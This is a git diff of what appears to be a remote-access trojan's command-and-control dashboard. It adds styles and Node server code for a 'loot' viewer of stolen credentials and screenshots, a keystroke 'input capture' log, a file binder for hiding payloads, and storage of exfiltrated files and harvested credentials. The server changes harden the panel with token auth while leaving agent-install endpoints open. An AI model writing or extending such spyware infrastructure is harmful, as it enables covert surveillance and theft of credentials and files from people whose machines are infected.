+
+
+ + +
+
+

Master Centralized System & Audit Log Stream

+
+ + 0 entries +
+
+
+
+
[SYSTEM] Central log stream active. Listening for node syslog and audit events...
+
+
+
+ + +
+
+

Master Intelligence Log — Input Capture & Machine Telemetry

+
+ + + + 0 events +
+
+ +
+ Select a machine above to view its details here... +
+
+
+
[INTEL] Master Intelligence Log active. Awaiting input capture data from agents...
+
+
+
+ +
+ + + + + + + + + + + + + +
Support This Project — Buy Me a Coffee
+ + + diff --git a/public/styles.css b/public/styles.css index 8ff2351..1d70db8 100644 --- a/public/styles.css +++ b/public/styles.css @@ -903,3 +903,49 @@ body { gap: 0.3rem; } } + +/* ── Loot viewer ── */ +.loot-tabs { display: flex; gap: 0.5rem; } +.loot-body { padding: 0.75rem; max-height: 420px; overflow-y: auto; } +.loot-table { width: 100%; border-collapse: collapse; font-size: 0.85rem; } +.loot-table th { text-align: left; color: var(--text-dim, #64748b); font-weight: 600; padding: 0.4rem 0.5rem; border-bottom: 1px solid var(--border-color, #1e293b); font-size: 0.75rem; text-transform: uppercase; letter-spacing: 0.05em; } +.loot-table td { padding: 0.45rem 0.5rem; border-bottom: 1px solid rgba(30,41,59,0.5); color: #e2e8f0; vertical-align: middle; } +.loot-thumb { width: 56px; height: 36px; object-fit: cover; border-radius: 4px; cursor: pointer; border: 1px solid var(--border-color, #1e293b); } +.loot-thumb:hover { border-color: var(--accent-emerald, #10b981); } +.loot-thumb-cell { width: 64px; } +.loot-file-icon { font-size: 1.4rem; color: var(--text-dim, #64748b); } +.loot-mime { font-size: 0.7rem; color: var(--text-dim, #64748b); } +.loot-cred-group { margin-bottom: 0.75rem; } +.loot-cred-host { font-weight: 600; color: #e2e8f0; padding: 0.4rem 0; border-bottom: 1px solid var(--border-color, #1e293b); margin-bottom: 0.4rem; } +.loot-cred-row { display: flex; align-items: center; gap: 0.6rem; padding: 0.3rem 0; font-size: 0.85rem; } +.loot-cred-val { background: rgba(15,23,42,0.8); padding: 0.2rem 0.5rem; border-radius: 4px; flex: 1; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; cursor: pointer; color: #e2e8f0; } +.loot-cred-time { color: var(--text-dim, #64748b); font-size: 0.75rem; min-width: 60px; text-align: right; } +.loot-lightbox-img { max-width: 90vw; max-height: 90vh; border-radius: 8px; box-shadow: 0 0 60px rgba(0,0,0,0.8); } + +/* ── Toasts ── */ +.toast-stack { position: fixed; top: 70px; right: 16px; z-index: 9999; display: flex; flex-direction: column; gap: 0.5rem; pointer-events: none; } +.toast { display: flex; align-items: center; gap: 0.5rem; background: rgba(15,23,42,0.95); border: 1px solid var(--border-color, #1e293b); border-left: 3px solid var(--accent-blue, #3b82f6); color: #e2e8f0; padding: 0.6rem 0.9rem; border-radius: 8px; font-size: 0.85rem; box-shadow: 0 4px 20px rgba(0,0,0,0.5); animation: toastIn 0.25s ease-out; pointer-events: auto; max-width: 340px; } +.toast-success { border-left-color: var(--accent-emerald, #10b981); } +.toast-error { border-left-color: #ef4444; } +.toast-out { opacity: 0; transform: translateX(20px); transition: all 0.4s ease; } +@keyframes toastIn { from { opacity: 0; transform: translateX(30px); } to { opacity: 1; transform: translateX(0); } } + +/* ── Auth gate ── */ +.auth-overlay { position: fixed; inset: 0; background: rgba(2,6,23,0.92); backdrop-filter: blur(6px); z-index: 10000; display: flex; align-items: center; justify-content: center; } +.auth-card { background: rgba(15,23,42,0.95); border: 1px solid var(--border-color, #1e293b); border-radius: 14px; padding: 2rem; width: 340px; text-align: center; box-shadow: 0 20px 60px rgba(0,0,0,0.6); } +.auth-icon { font-size: 2.2rem; color: var(--accent-emerald, #10b981); margin-bottom: 0.75rem; } +.auth-card h2 { margin: 0 0 0.4rem; color: #f1f5f9; } +.auth-card p { color: var(--text-dim, #64748b); font-size: 0.85rem; margin: 0 0 1rem; } +.auth-error { color: #ef4444 !important; margin-top: 0.6rem !important; } + +/* ── Empty state hero ── */ +.empty-hero { grid-column: 1 / -1; text-align: center; padding: 3rem 2rem; background: rgba(15,23,42,0.5); border: 1px dashed var(--border-color, #1e293b); border-radius: 14px; } +.empty-hero-icon { font-size: 3rem; color: var(--accent-emerald, #10b981); margin-bottom: 1rem; animation: pulse 2s infinite; } +.empty-hero h2 { color: #f1f5f9; margin: 0 0 0.5rem; } +.empty-hero p { color: var(--text-dim, #64748b); max-width: 520px; margin: 0 auto 1.25rem; } +.empty-cmd { display: flex; align-items: center; justify-content: center; gap: 0.75rem; flex-wrap: wrap; } +.empty-cmd code { background: rgba(2,6,23,0.9); border: 1px solid var(--border-color, #1e293b); padding: 0.6rem 1rem; border-radius: 8px; font-size: 0.9rem; color: var(--accent-emerald, #10b981); } +.empty-hint { margin-top: 1rem; font-size: 0.8rem; } +.empty-qr { margin-top: 1.25rem; display: flex; justify-content: center; } +.empty-qr img, .empty-qr canvas { border-radius: 8px; background: #fff; padding: 8px; } +@keyframes pulse { 0%,100% { opacity: 1; } 50% { opacity: 0.5; } } diff --git a/public/styles.css.bak-1785766812 b/public/styles.css.bak-1785766812 new file mode 100644 index 0000000..8ff2351 --- /dev/null +++ b/public/styles.css.bak-1785766812 @@ -0,0 +1,905 @@ +:root { + --bg-dark: #090d16; + --bg-card: rgba(17, 24, 39, 0.7); + --bg-card-hover: rgba(31, 41, 55, 0.8); + --border-color: rgba(255, 255, 255, 0.08); + --border-active: rgba(6, 182, 212, 0.4); + + --primary-cyan: #06b6d4; + --primary-purple: #8b5cf6; + --accent-emerald: #10b981; + --accent-rose: #f43f5e; + --accent-amber: #f59e0b; + + --text-main: #f3f4f6; + --text-muted: #9ca3af; + --text-dim: #6b7280; + + --font-sans: 'Inter', system-ui, sans-serif; + --font-display: 'Outfit', system-ui, sans-serif; + --font-mono: 'JetBrains Mono', monospace; + + --radius-sm: 6px; + --radius-md: 12px; + --radius-lg: 18px; + --shadow-glow: 0 0 20px rgba(6, 182, 212, 0.15); +} + +* { + margin: 0; + padding: 0; + box-sizing: border-box; +} + +body { + background-color: var(--bg-dark); + color: var(--text-main); + font-family: var(--font-sans); + background-image: + radial-gradient(at 0% 0%, rgba(6, 182, 212, 0.05) 0px, transparent 50%), + radial-gradient(at 100% 0%, rgba(139, 92, 246, 0.05) 0px, transparent 50%); + background-attachment: fixed; + min-height: 100vh; + display: flex; + flex-direction: column; +} + +/* Header Navbar */ +.top-nav { + display: flex; + justify-content: space-between; + align-items: center; + padding: 1.25rem 2rem; + background: rgba(15, 23, 42, 0.85); + backdrop-filter: blur(16px); + border-bottom: 1px solid var(--border-color); + position: sticky; + top: 0; + z-index: 100; +} + +.logo-area { + display: flex; + align-items: center; + gap: 1rem; +} + +.logo-icon { + width: 44px; + height: 44px; + background: linear-gradient(135deg, var(--primary-cyan), var(--primary-purple)); + border-radius: var(--radius-md); + display: flex; + align-items: center; + justify-content: center; + font-size: 1.25rem; + color: #fff; + box-shadow: var(--shadow-glow); +} + +.logo-text { + font-family: var(--font-display); + font-size: 1.5rem; + font-weight: 800; + letter-spacing: -0.02em; +} + +.logo-text span { + color: var(--primary-cyan); +} + +.sub-text { + display: block; + font-size: 0.75rem; + color: var(--text-muted); +} + +.nav-metrics { + display: flex; + gap: 1rem; +} + +.metric-pill { + display: flex; + align-items: center; + gap: 0.5rem; + background: rgba(255, 255, 255, 0.04); + border: 1px solid var(--border-color); + padding: 0.5rem 1rem; + border-radius: 9999px; + font-size: 0.85rem; +} + +.pill-label { + color: var(--text-muted); +} + +.pill-value { + font-family: var(--font-mono); + font-weight: 600; +} + +.highlight-endpoint { + color: var(--primary-cyan); +} + +.status-indicator { + width: 8px; + height: 8px; + border-radius: 50%; + background-color: var(--text-dim); +} + +.status-indicator.online { + background-color: var(--accent-emerald); + box-shadow: 0 0 8px var(--accent-emerald); +} + +/* Dashboard Container */ +.dashboard-container { + max-width: 1400px; + width: 100%; + margin: 0 auto; + padding: 2rem; + display: flex; + flex-direction: column; + gap: 2rem; +} + +/* Overview Stat Cards */ +.stats-grid { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(240px, 1fr)); + gap: 1.25rem; +} + +.stat-card { + background: var(--bg-card); + backdrop-filter: blur(12px); + border: 1px solid var(--border-color); + border-radius: var(--radius-md); + padding: 1.25rem 1.5rem; + display: flex; + align-items: center; + gap: 1.25rem; + transition: transform 0.2s ease, border-color 0.2s ease; +} + +.stat-card:hover { + transform: translateY(-2px); + border-color: rgba(255, 255, 255, 0.15); +} + +.stat-icon { + width: 52px; + height: 52px; + border-radius: var(--radius-md); + display: flex; + align-items: center; + justify-content: center; + font-size: 1.5rem; +} + +.stat-icon.cyan { background: rgba(6, 182, 212, 0.12); color: var(--primary-cyan); } +.stat-icon.emerald { background: rgba(16, 185, 129, 0.12); color: var(--accent-emerald); } +.stat-icon.rose { background: rgba(244, 63, 94, 0.12); color: var(--accent-rose); } +.stat-icon.purple { background: rgba(139, 92, 246, 0.12); color: var(--primary-purple); } + +.stat-label { + font-size: 0.8rem; + color: var(--text-muted); + text-transform: uppercase; + letter-spacing: 0.05em; + font-weight: 600; +} + +.stat-number { + font-family: var(--font-display); + font-size: 1.75rem; + font-weight: 700; + margin-top: 0.2rem; +} + +/* Toolbar & Filters */ +.controls-toolbar { + display: flex; + justify-content: space-between; + align-items: center; + gap: 1rem; + flex-wrap: wrap; +} + +.search-box { + position: relative; + flex: 1; + min-width: 280px; +} + +.search-box i { + position: absolute; + left: 1rem; + top: 50%; + transform: translateY(-50%); + color: var(--text-dim); +} + +.search-box input { + width: 100%; + padding: 0.75rem 1rem 0.75rem 2.75rem; + background: rgba(15, 23, 42, 0.6); + border: 1px solid var(--border-color); + border-radius: var(--radius-md); + color: #fff; + font-family: var(--font-sans); + font-size: 0.9rem; + transition: all 0.2s ease; +} + +.search-box input:focus { + outline: none; + border-color: var(--primary-cyan); + box-shadow: var(--shadow-glow); +} + +.filter-group, .view-toggle { + display: flex; + background: rgba(15, 23, 42, 0.6); + border: 1px solid var(--border-color); + border-radius: var(--radius-md); + padding: 0.25rem; +} + +.filter-btn, .toggle-btn { + background: transparent; + border: none; + color: var(--text-muted); + padding: 0.5rem 1rem; + border-radius: var(--radius-sm); + font-size: 0.85rem; + font-weight: 500; + cursor: pointer; + transition: all 0.2s ease; +} + +.filter-btn.active, .toggle-btn.active { + background: rgba(255, 255, 255, 0.1); + color: #fff; +} + +/* Node Cards Grid */ +.nodes-grid-view { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(340px, 1fr)); + gap: 1.5rem; +} + +.node-card { + background: var(--bg-card); + backdrop-filter: blur(12px); + border: 1px solid var(--border-color); + border-radius: var(--radius-md); + padding: 1.5rem; + display: flex; + flex-direction: column; + gap: 1.25rem; + position: relative; + overflow: hidden; + transition: all 0.25s ease; +} + +.node-card:hover { + border-color: var(--border-active); + transform: translateY(-3px); + box-shadow: 0 10px 30px rgba(0, 0, 0, 0.4); +} + +.node-card.offline { + opacity: 0.75; +} + +.node-card::before { + content: ''; + position: absolute; + top: 0; + left: 0; + right: 0; + height: 3px; + background: var(--accent-rose); +} + +.node-card.online::before { + background: var(--accent-emerald); +} + +.card-header { + display: flex; + justify-content: space-between; + align-items: flex-start; +} + +.node-info-main { + display: flex; + align-items: center; + gap: 0.75rem; +} + +.platform-badge-icon { + width: 40px; + height: 40px; + border-radius: var(--radius-sm); + background: rgba(255, 255, 255, 0.05); + display: flex; + align-items: center; + justify-content: center; + font-size: 1.25rem; + color: var(--primary-cyan); +} + +.node-title h3 { + font-family: var(--font-display); + font-size: 1.1rem; + font-weight: 700; +} + +.node-title span { + font-family: var(--font-mono); + font-size: 0.8rem; + color: var(--text-muted); +} + +.status-badge { + padding: 0.25rem 0.65rem; + border-radius: 9999px; + font-size: 0.75rem; + font-weight: 600; + text-transform: uppercase; + letter-spacing: 0.05em; + display: flex; + align-items: center; + gap: 0.4rem; +} + +.status-badge.online { + background: rgba(16, 185, 129, 0.15); + color: var(--accent-emerald); + border: 1px solid rgba(16, 185, 129, 0.3); +} + +.status-badge.offline { + background: rgba(244, 63, 94, 0.15); + color: var(--accent-rose); + border: 1px solid rgba(244, 63, 94, 0.3); +} + +.metrics-container { + display: flex; + flex-direction: column; + gap: 0.75rem; +} + +.metric-bar-group { + display: flex; + flex-direction: column; + gap: 0.3rem; +} + +.metric-bar-label { + display: flex; + justify-content: space-between; + font-size: 0.8rem; + color: var(--text-muted); +} + +.metric-bar-bg { + height: 8px; + background: rgba(255, 255, 255, 0.06); + border-radius: 9999px; + overflow: hidden; +} + +.metric-bar-fill { + height: 100%; + border-radius: 9999px; + transition: width 0.4s ease; +} + +.fill-cpu { background: linear-gradient(90deg, var(--primary-cyan), var(--primary-purple)); } +.fill-mem { background: linear-gradient(90deg, #3b82f6, #8b5cf6); } +.fill-disk { background: linear-gradient(90deg, #f59e0b, #ef4444); } + +.card-footer { + display: flex; + justify-content: space-between; + align-items: center; + padding-top: 0.75rem; + border-top: 1px solid rgba(255, 255, 255, 0.06); +} + +.node-actions { + display: flex; + gap: 0.5rem; +} + +/* Buttons */ +.btn { + display: inline-flex; + align-items: center; + gap: 0.5rem; + padding: 0.6rem 1.25rem; + border-radius: var(--radius-md); + font-family: var(--font-sans); + font-size: 0.875rem; + font-weight: 600; + cursor: pointer; + border: none; + transition: all 0.2s ease; +} + +.btn-primary { + background: linear-gradient(135deg, var(--primary-cyan), #0284c7); + color: #fff; + box-shadow: 0 4px 12px rgba(6, 182, 212, 0.3); +} + +.btn-primary:hover { + filter: brightness(1.1); + box-shadow: 0 6px 18px rgba(6, 182, 212, 0.45); +} + +.btn-secondary { + background: rgba(255, 255, 255, 0.06); + border: 1px solid var(--border-color); + color: var(--text-main); +} + +.btn-secondary:hover { + background: rgba(255, 255, 255, 0.12); +} + +.btn-icon { + padding: 0.5rem; + border-radius: var(--radius-sm); + background: rgba(255, 255, 255, 0.05); + border: 1px solid var(--border-color); + color: var(--text-muted); + cursor: pointer; + transition: all 0.2s ease; +} + +.btn-icon:hover { + color: #fff; + border-color: var(--primary-cyan); +} + +/* Section Cards (Charts / Logs) */ +.chart-section, .logs-section { + background: var(--bg-card); + backdrop-filter: blur(12px); + border: 1px solid var(--border-color); + border-radius: var(--radius-md); + padding: 1.5rem; + display: flex; + flex-direction: column; + gap: 1rem; +} + +.section-header { + display: flex; + justify-content: space-between; + align-items: center; +} + +.section-header h3 { + font-family: var(--font-display); + font-size: 1.1rem; + display: flex; + align-items: center; + gap: 0.6rem; +} + +.badge { + padding: 0.2rem 0.6rem; + border-radius: var(--radius-sm); + background: rgba(6, 182, 212, 0.15); + color: var(--primary-cyan); + font-size: 0.75rem; + font-weight: 600; +} + +.badge.purple { + background: rgba(139, 92, 246, 0.15); + color: var(--primary-purple); +} + +.chart-container { + height: 260px; + width: 100%; +} + +/* Terminal Log View */ +.terminal-window { + background: #050811; + border: 1px solid var(--border-color); + border-radius: var(--radius-sm); + font-family: var(--font-mono); + font-size: 0.85rem; + padding: 1rem; + height: 180px; + overflow-y: auto; +} + +.log-entry { + padding: 0.2rem 0; + color: var(--text-muted); +} + +.log-entry.system { color: var(--primary-cyan); } +.log-entry.success { color: var(--accent-emerald); } +.log-entry.error { color: var(--accent-rose); } + +/* Empty state */ +.empty-state { + grid-column: 1 / -1; + text-align: center; + padding: 4rem 2rem; + background: var(--bg-card); + border: 1px dashed var(--border-color); + border-radius: var(--radius-md); + display: flex; + flex-direction: column; + align-items: center; + gap: 1rem; +} + +.empty-state i { + font-size: 2.5rem; + color: var(--primary-cyan); +} + +/* Modal Overlay */ +.modal-overlay { + position: fixed; + top: 0; + left: 0; + right: 0; + bottom: 0; + background: rgba(0, 0, 0, 0.75); + backdrop-filter: blur(8px); + display: flex; + align-items: center; + justify-content: center; + z-index: 1000; + opacity: 0; + pointer-events: none; + transition: opacity 0.25s ease; +} + +.modal-overlay.active { + opacity: 1; + pointer-events: auto; +} + +.modal-card { + background: #0f172a; + border: 1px solid var(--border-color); + border-radius: var(--radius-lg); + width: 90%; + max-width: 620px; + box-shadow: 0 25px 50px -12px rgba(0, 0, 0, 0.7); + overflow: hidden; +} + +.modal-header { + padding: 1.5rem; + border-bottom: 1px solid var(--border-color); + display: flex; + justify-content: space-between; + align-items: center; +} + +.title-with-icon { + display: flex; + align-items: center; + gap: 1rem; +} + +.icon-accent { + font-size: 1.5rem; + color: var(--primary-cyan); +} + +.modal-close { + background: transparent; + border: none; + color: var(--text-muted); + font-size: 1.25rem; + cursor: pointer; +} + +.modal-body { + padding: 1.5rem; + display: flex; + flex-direction: column; + gap: 1.25rem; +} + +.os-tabs { + display: flex; + gap: 0.5rem; + border-bottom: 1px solid var(--border-color); + padding-bottom: 0.5rem; +} + +.tab-btn { + background: transparent; + border: none; + color: var(--text-muted); + padding: 0.5rem 1rem; + font-weight: 500; + cursor: pointer; + border-radius: var(--radius-sm); +} + +.tab-btn.active { + background: rgba(6, 182, 212, 0.15); + color: var(--primary-cyan); +} + +.tab-content { + display: none; +} + +.tab-content.active { + display: block; +} + +.tab-description { + font-size: 0.85rem; + color: var(--text-muted); + margin-bottom: 0.75rem; +} + +.code-block { + background: #050811; + border: 1px solid var(--border-color); + border-radius: var(--radius-sm); + padding: 1rem; + position: relative; + display: flex; + align-items: center; + justify-content: space-between; +} + +.code-block code { + font-family: var(--font-mono); + font-size: 0.85rem; + color: var(--accent-emerald); + word-break: break-all; +} + +.btn-copy { + background: rgba(255, 255, 255, 0.1); + border: 1px solid var(--border-color); + color: #fff; + padding: 0.4rem 0.8rem; + border-radius: var(--radius-sm); + font-size: 0.75rem; + cursor: pointer; + white-space: nowrap; +} + +.modal-info-box { + background: rgba(6, 182, 212, 0.08); + border: 1px solid rgba(6, 182, 212, 0.2); + border-radius: var(--radius-sm); + padding: 0.75rem 1rem; + display: flex; + align-items: center; + gap: 0.75rem; + font-size: 0.85rem; + color: var(--text-main); +} + +.form-group { + display: flex; + flex-direction: column; + gap: 0.5rem; +} + +.form-group label { + font-size: 0.85rem; + font-weight: 600; + color: var(--text-muted); +} + +.form-input { + background: #050811; + border: 1px solid var(--border-color); + border-radius: var(--radius-sm); + padding: 0.75rem 1rem; + color: #fff; + font-family: var(--font-mono); +} + +.quick-commands { + display: flex; + align-items: center; + gap: 0.5rem; + flex-wrap: wrap; +} + +.quick-label { + font-size: 0.8rem; + color: var(--text-muted); +} + +.chip { + background: rgba(255, 255, 255, 0.06); + border: 1px solid var(--border-color); + color: var(--text-main); + padding: 0.25rem 0.6rem; + border-radius: 9999px; + font-size: 0.75rem; + cursor: pointer; +} + +.chip:hover { + background: rgba(6, 182, 212, 0.2); + border-color: var(--primary-cyan); +} + +.modal-actions { + display: flex; + justify-content: flex-end; + gap: 0.75rem; + margin-top: 1rem; +} + +/* ── Master Intelligence Log Components ── */ + +.machine-detail-chip { + display: inline-flex; + align-items: center; + gap: 0.4rem; + padding: 0.3rem 0.7rem; + background: rgba(255, 255, 255, 0.05); + border: 1px solid var(--border-color); + border-radius: 9999px; + font-size: 0.75rem; + font-family: var(--font-mono); + color: var(--text-main); + white-space: nowrap; +} + +.machine-detail-chip i { + color: var(--primary-cyan); + font-size: 0.7rem; +} + +/* Intel log entry variants */ +.log-entry.intel-keystroke { + color: #fbbf24; + border-left: 2px solid rgba(251, 191, 36, 0.3); + padding-left: 0.5rem; +} + +.log-entry.intel-click { + color: #34d399; + border-left: 2px solid rgba(52, 211, 153, 0.3); + padding-left: 0.5rem; +} + +.log-entry.intel-scroll { + color: #a78bfa; + border-left: 2px solid rgba(167, 139, 250, 0.3); + padding-left: 0.5rem; +} + +/* Intel section filter selects hover */ +#intelNodeFilter:focus, +#intelTypeFilter:focus, +#intelSearchInput:focus { + outline: none; + border-color: var(--primary-purple) !important; + box-shadow: 0 0 8px rgba(139, 92, 246, 0.2); +} + +#intelNodeFilter option, +#intelTypeFilter option { + background: #0f172a; + color: #fff; +} + +/* ── File Binder Dropzone ── */ +.binder-dropzone { + border: 2px dashed var(--border-color); + border-radius: var(--radius-md); + padding: 2rem 1.5rem; + text-align: center; + cursor: pointer; + transition: all 0.2s ease; + background: rgba(15, 23, 42, 0.4); +} + +.binder-dropzone:hover { + border-color: var(--primary-cyan); + background: rgba(6, 182, 212, 0.06); + box-shadow: var(--shadow-glow); +} + +.binder-dropzone.has-file { + border-color: var(--accent-emerald); + background: rgba(16, 185, 129, 0.06); +} + +#binderStatus.success { + background: rgba(16, 185, 129, 0.12); + border: 1px solid rgba(16, 185, 129, 0.3); + color: var(--accent-emerald); +} + +#binderStatus.error { + background: rgba(244, 63, 94, 0.12); + border: 1px solid rgba(244, 63, 94, 0.3); + color: var(--accent-rose); +} + +/* ── Mobile Responsive ── */ +@media (max-width: 768px) { + .top-nav { + flex-wrap: wrap; + padding: 0.75rem 1rem; + gap: 0.75rem; + } + .dashboard-container { + padding: 1rem; + gap: 1rem; + } + .action-area { + flex-wrap: wrap; + width: 100%; + } + .action-area .btn { + flex: 1 1 auto; + min-width: 0; + font-size: 0.75rem; + padding: 0.45rem 0.7rem; + } + .nav-metrics { + display: none; + } + .stats-grid { + grid-template-columns: repeat(2, 1fr); + gap: 0.75rem; + } + .stat-card { + padding: 0.75rem 1rem; + } + .stat-number { + font-size: 1.25rem; + } + .nodes-grid-view { + grid-template-columns: 1fr; + } + .controls-toolbar { + flex-direction: column; + } + .search-box { + min-width: 100%; + } + .modal-card { + width: 95%; + max-width: 95%; + } + .os-tabs { + flex-wrap: wrap; + } + .os-tabs .tab-btn { + font-size: 0.75rem; + padding: 0.4rem 0.6rem; + } + #machineDetailsBar { + flex-direction: column; + gap: 0.3rem; + } +} diff --git a/server.js b/server.js index a12961c..08afe63 100644 --- a/server.js +++ b/server.js @@ -24,6 +24,28 @@ app.use(cors()); app.use(express.json({ limit: '50mb' })); app.use(express.static(path.join(__dirname, 'public'))); +// ── Auth ── +const AUTH_TOKEN = process.env.NEXUS_AUTH_TOKEN || null; +if (!AUTH_TOKEN) { + console.log('!!! AUTH DISABLED — set NEXUS_AUTH_TOKEN in .env to protect the dashboard !!!'); +} +const AUTH_EXEMPT_PREFIXES = ['/api/agent/', '/install', '/agent.py', '/bin/']; +function authMiddleware(req, res, next) { + if (!AUTH_TOKEN) return next(); + if (AUTH_EXEMPT_PREFIXES.some(p => req.path.startsWith(p))) return next(); + const h = req.headers.authorization || ''; + if (h === 'Bearer ' + AUTH_TOKEN) return next(); + if (req.path === '/api/auth/check') return res.status(401).json({ error: 'unauthorized' }); + return res.status(401).json({ error: 'unauthorized' }); +} +app.use(authMiddleware); +app.get('/api/auth/check', (req, res) => { + if (!AUTH_TOKEN) return res.json({ ok: true, authRequired: false }); + res.json({ ok: true, authRequired: true }); +}); + + + function getLocalIp() { const interfaces = os.networkInterfaces(); for (const name of Object.keys(interfaces)) { @@ -48,14 +70,24 @@ const exfiltratedFiles = new Map(); // id → { nodeId, hostname, filename, da const harvestedCredentials = []; // { nodeId, hostname, type, data, timestamp } // ── Persistence ── +let _saveLock = false; +function _atomicWrite(file, data) { + const tmp = file + '.tmp'; + fs.writeFileSync(tmp, data); + fs.renameSync(tmp, file); +} function saveData() { + if (_saveLock) return; + _saveLock = true; try { - fs.writeFileSync(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries()))); - fs.writeFileSync(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200))); - fs.writeFileSync(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200))); - fs.writeFileSync(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300))); - fs.writeFileSync(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200))); - } catch(e) { /* silent */ } + _atomicWrite(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries()))); + _atomicWrite(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200))); + _atomicWrite(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200))); + _atomicWrite(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300))); + _atomicWrite(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200))); + } catch(e) { /* silent */ } finally { + _saveLock = false; + } } function loadData() { @@ -107,7 +139,17 @@ function broadcastState() { }); } -wss.on('connection', (ws) => { +wss.on('connection', (ws, req) => { + // Auth check on WS upgrade + if (AUTH_TOKEN) { + const url = new URL(req.url, 'http://localhost'); + if (url.searchParams.get('token') !== AUTH_TOKEN) { + ws.close(4401, 'unauthorized'); + return; + } + } + ws.isAlive = true; + ws.on('pong', () => { ws.isAlive = true; }); ws.send(JSON.stringify({ type: 'NODES_UPDATE', serverIp: SERVER_IP, @@ -120,6 +162,15 @@ wss.on('connection', (ws) => { })); }); +// WS heartbeat: ping every 25s, drop dead clients +setInterval(() => { + wss.clients.forEach(ws => { + if (ws.isAlive === false) return ws.terminate(); + ws.isAlive = false; + try { ws.ping(); } catch(e) {} + }); +}, 25000); + // REST API Endpoints app.get('/api/status', (req, res) => {